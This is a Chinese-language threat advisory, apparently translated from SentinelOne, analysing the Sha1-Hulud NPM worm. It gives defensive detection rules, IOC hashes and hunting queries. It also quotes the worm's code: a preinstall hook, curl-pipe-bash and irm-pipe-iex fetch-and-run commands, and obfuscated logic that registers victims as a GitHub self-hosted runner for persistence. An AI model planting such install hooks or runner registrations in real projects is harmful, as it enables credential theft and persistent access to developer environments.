防御Sha1-Hulud:蠕虫再临
Shai-Hulud蠕虫2.0是NPM供应链攻击的一次重大升级,它现在能够在preinstall阶段执行,以窃取AWS、Azure和GCP的凭据,并通过GitHub Actions建立持久化访问。
以下SentinelOne紧急报告已于2025年11月25日(星期二)发送给所有SentinelOne客户和合作伙伴。报告包含了对新变种战术的深入分析、我们的实时检测态势,以及保护您环境所需的关键、立即的行动。
Sha1-Hulud:蠕虫再临
文档类型: Wayfinder紧急报告
TLP: 绿色
发布日期: 2025年11月25日
网络风险评级: 高
研究日期: 2025年11月24日
关联威胁活动: 供应链攻击
关键要点
- 新一波受感染的NPM软件包正在导致大规模的供应链攻击。
- 与之前的攻击相比,此攻击展示了额外的能力。
- 受害者应立即更改其令牌和密钥,包括与任何受影响云环境关联的凭据。
技术细节
概述
“Sha1-Hulud”是一场持续进行的NPM供应链攻击的名称,根据公开信息,其最早始于2025年11月21日。新的攻击与之前的“Shai Hulud”相似,但包含了额外的功能,并且由不同的受感染软件包触发。新攻击的名称来源于恶意软件作者在存放泄露数据的GitHub仓库中的描述:
图1:包含“Sha1-Hulud”受害者泄露数据的公开GitHub仓库
虽然攻击有相似之处,但新攻击与之前的略有不同,目前尚不清楚两次攻击是否来自同一个威胁行为者。
当前的攻击已经影响了多个流行软件包,例如:
- Postman
- Zapier
- AsyncAPI
受影响软件包的完整列表可以在[此处]找到。
执行与持久化
与之前使用“postinstall”触发恶意软件执行的攻击不同,“Sha1-Hulud”攻击利用“preinstall”来执行恶意软件:
1
2
3
|
"scripts": {
"preinstall": "node setup_bun.js"
}
|
恶意软件下载合法的“bun”工具来协调当前攻击:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: 使用 PowerShell 脚本
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: 使用 curl + bash 脚本
command = 'curl -fsSL https://bun.sh/install | bash';
}
...
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
|
文件“bun_environment.js”是“Sha1-Hulud”攻击中添加到受感染软件包的一个经过混淆的JavaScript恶意软件。
该脚本会创建额外的文件,例如用于数据泄露的“cloud.json”、“contents.json”、“environment.json”和“truffleSecrets.json”,以及用于持久化的“discussion.yaml”。
随后,有效负载将受感染机器注册为一个名为“SHA1HULUD”的自托管运行器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
'owner': _0x349291,
'repo': _0x2b1a39
});
if (_0x449178.status == 0xc9) {
let _0x1489ec = _0x449178.data.token;
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir() + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
} else {
if (a0_0x5a88b3.platform() === "win32") {
// ... Windows 相关代码 ...
} else {
if (a0_0x5a88b3.platform() === "darwin") {
// ... macOS 相关代码 ...
}
}
}
}
|
为了持久化,恶意软件添加了一个名为“.github/workflows/discussion.yaml”的工作流程,其中包含一个注入漏洞,允许威胁行为者在仓库讨论部分写入特制的消息。随后,该消息会在注册为运行器的受感染主机上执行代码。
图2:GitHub中的讨论部分
影响与目标
与之前仅针对软件开发环境的攻击不同,此次攻击还会窃取AWS、GCP和Azure的密钥,这些密钥可能允许威胁行为者在云环境中横向移动。此类信息被保存到“cloud.json”文件中:
图3:包含空云信息的Base64编码Json
图3中的Base64解码后如下:
1
|
{"aws":{"secrets":[]},"gcp":{"secrets":[]},"azure":{"secrets":[]}}
|
文件的创建并不一定意味着云密钥已被窃取,因为配置可能为空。
威胁行为者在此次新攻击中还使用了Trufflehog来窃取与开发环境相关的密钥,例如GitHub和NPM的密钥与令牌——这是之前在“Shai-Hulud”攻击中见过的类似战术。
虽然攻击者的确切动机目前未知,但成功的感染不仅会导致知识产权和私有代码的盗窃,还可能窃取云密钥,从而允许在云环境中进行更广泛的入侵。持久化能力允许威胁行为者在受感染主机上执行恶意代码,该主机是受害者开发环境内的资产。
SentinelOne检测能力
端点保护(EPP)
SentinelOne EPP行为AI引擎持续监控与供应链攻击和蠕虫传播相关的可疑活动,包括:
- 恶意脚本和软件包的执行
- CI/CD工作流中未经授权的文件修改
- 权限提升和凭据滥用
- 可疑的运行时安装和基于网络的脚本执行
平台检测规则
SentinelOne平台检测库包含用于检测Shai-Hulud蠕虫活动多个攻击阶段的规则:
- 潜在恶意NPM软件包执行 – 检测由Shai-Hulud使用的已知恶意npm软件包的执行
- Shai-Hulud蠕虫工作流文件写入活动 – 识别对GitHub Actions工作流的未经授权修改和恶意负载部署
- Shai-Hulud通过网络获取安装Bun运行时 – 捕获通过远程脚本执行进行的可疑Bun运行时安装
- Shai-Hulud无人值守GitHub运行器注册 – 检测具有恶意特征的自托管GitHub运行器的自动注册
威胁狩猎
Wayfinder威胁狩猎团队正在主动进行狩猎,利用与此新兴威胁相关的威胁情报。如果在您的环境中识别出任何可疑活动,我们将立即通知您组织指定的升级联系人。
建议
Wayfinder威胁狩猎为立即行动和战略缓解提供以下建议:
- 启用上述部分中的相关平台检测规则。
- 启用Agent Live Security Update以获取实时更新。
- 移除并更换受感染的软件包。
- 尽可能固定软件包版本。
- 在CI中尽可能禁用npm postinstall脚本。
- 撤销并重新生成npm令牌、GitHub密钥、SSH密钥和云提供商凭据。
- 为开发者和CI/CD账户强制执行基于硬件的多因素认证(MFA)。
HuntOps的战术工具
失陷指标(IOCs)
| 类型 |
值 |
描述 |
| SHA1 |
3d7570d14d34b0ba137d502f042b27b0f37a59fa |
bun_environment.js |
| SHA1 |
d60ec97eea19fffb4809bc35b91033b52490ca11 |
bun_environment.js |
| SHA1 |
8de87cf4fbdd1b490991a1ceb9c1198013d268c2 |
bun_environment.js |
| SHA1 |
f37c6179739cf47e60280dd78cb1a86fd86a2dcf |
bun_environment.js |
| SHA1 |
91429fbfef99fa52b6386d666e859707a07844b2 |
bun_environment.js |
| SHA1 |
ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc |
bun_environment.js |
狩猎查询
查询1:SHA1HULUD运行器执行
1
|
dataSource.name = 'SentinelOne' and event.type = 'Process Creation' and src.process.cmdline contains '--name SHA1HULUD' and src.process.cmdline contains '--unattended --token '
|
查询2:SHA1HULUD恶意JS
1
|
dataSource.name = 'SentinelOne' AND tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc") and src.process.name contains 'node'
|
查询3:可能与SHA1HULUD关联的可疑“bun_environment.js”文件
1
|
dataSource.name = 'SentinelOne' AND tgt.file.size>7000000 AND (tgt.file.path contains '/bun_environment.js' or tgt.file.path contains '\\bun_environment.js') AND !(tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc"))
|